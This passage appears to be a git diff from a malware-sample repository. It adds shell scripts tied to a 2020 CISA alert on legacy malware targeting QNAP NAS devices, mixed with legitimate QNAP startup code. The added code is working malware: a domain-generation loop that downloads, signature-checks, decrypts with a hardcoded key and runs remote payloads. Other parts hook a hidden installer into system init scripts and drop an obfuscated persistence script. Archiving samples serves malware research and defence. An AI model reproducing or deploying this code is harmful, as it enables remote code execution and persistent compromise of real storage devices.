+ + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/CACHEDEV1_DATA/.system/.qinstaller.sh; exit 1; } +esac +{ /share/CACHEDEV1_DATA/.system/.qinstaller.sh; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/CACHEDEV1_DATA/.system/.qinstaller.sh; exit 0; } +fi +fi diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5130282cdb4e371b5b9257e6c992fb7c11243b2511a6d4185eafc0faa0e0a3a6 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5130282cdb4e371b5b9257e6c992fb7c11243b2511a6d4185eafc0faa0e0a3a6 new file mode 100644 index 0000000..91ebfd1 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5130282cdb4e371b5b9257e6c992fb7c11243b2511a6d4185eafc0faa0e0a3a6 @@ -0,0 +1,630 @@ +#!/bin/sh +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.liveupdate/liveupdate.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cat > "${bdir}/.qpkg/.liveupdate/liveupdate.sh" <<"XEOF" +#!/bin/sh +xdEIZP=${ChSqzKBSW}t${fndSX}r${RiADoEekYl} +CHQOUaEF=${mKukBzqlFWte}${RcAgv}'\'${CzwGKoExdSNb}${oqEoH}; ZdBaYuwO=${uSWVs}${wtxOLMzrX}${zUlDx}${CHQOUaEF}${hnTYzqNIR}${WEJkC}${kMhyJjnAFI}133; FALbYHfu=${VZmgi}${VEElEOlov}${eDUDq}${CHQOUaEF}${iBBKUXigc}${QSddu}${JpoASfGrvy}055; ivTDLYcJ=${oVdmD}${BoQprMhPn}${ooVsb}${CHQOUaEF}${CYldesVQs}${AZyIt}${FImBFvbeBf}134; $xdEIZP 'O)sjM{bTXIL'$ivTDLYcJ'xq"}h*ig%PckK;\nE#Qm'$ZdBaYuwO'n'"'"'=So+Uu(W BvCarF!]N|'$FALbYHfu'YztGw' '{qjLaI` +F)'$ZdBaYuwO'cYsu]#%'$FALbYHfu'e;fNGk\nmEhi"}A|lDHoZCd' << "cLgBgGVGUVG" | ${czsznolvy}s${oLDnn}h${RWzWuKOHEj} +>p)yDAmrqz+QO<{>=D!d/V&QOnok rU[uuffAdR%/QOEH%>t!tk!dVZ=H"tqd"y&QO}qEr kdv.xvQORFFSAxjlVHc-dZQO!K%>pKkstd$QOjKcUs AudN134#t=QeV|G*)ZdXrCTCVUMm`K(iN055aPECeCeCYNrJO{%=-)t'Z +kLsp]+Ge&"dqryIvQ|>Hu;p)yDAmrqz$Nt/"zC/ETcn+CrEjrQJUQcOQcQQQQMvKRMQE(FcQQQQMvKRMQ|zC('O1:f4!FcQQQQMvKRMQ|R +('O2:f12!FcQQQQMvKRMQhE%RK+(<'O3:fRfZ;fG!t0f9eLQ`Q0LQUQVRME+QFFQ>0f9e>0f9e>0f9e>0f9e>0f9e>0f9e>0f9e>0f9eQUQ&(<'JJQ=&Rj+Qx$E=Q/Q100QUUt0f9eLQ`Q0LQUQVRME+QFFQLUQj+EjQ<'Oq{D -D _#-Du A!tRfZ;fG0f9/x('CMeLQUQj+EjQfVQ<'jtRfZ;fG0f9/x('CMeLQUQ+ +zjQ0QFFQ+ERKch(=v%+CEEMQ&nEjQfETR1Qf"zCRr\QfT|RKQ<'KjxGd5QOn;Ht(|KUdTeQ>p)yDAmrqze$%#Z> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf 